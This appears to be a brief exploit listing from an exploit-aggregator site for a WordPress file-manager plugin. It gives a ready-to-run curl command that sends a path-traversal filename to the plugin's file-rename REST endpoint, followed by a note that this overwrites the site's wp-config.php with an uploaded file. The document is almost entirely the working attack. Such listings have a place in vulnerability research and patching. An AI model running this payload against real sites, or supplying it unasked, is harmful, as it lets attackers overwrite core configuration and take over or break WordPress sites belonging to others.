Share
## https://sploitus.com/exploit?id=WPEX-ID:00F76765-95AF-4DBC-8C37-F1B15A0E8608
curl -i -s -k -X 'POST' --data-binary 'fileid=45&filename=../../../wp-config.php' 'https://example.com/wp-json/wpfm/v1/file-rename'

This will replace the wp-config.php file with the content of the uploaded file with ID 45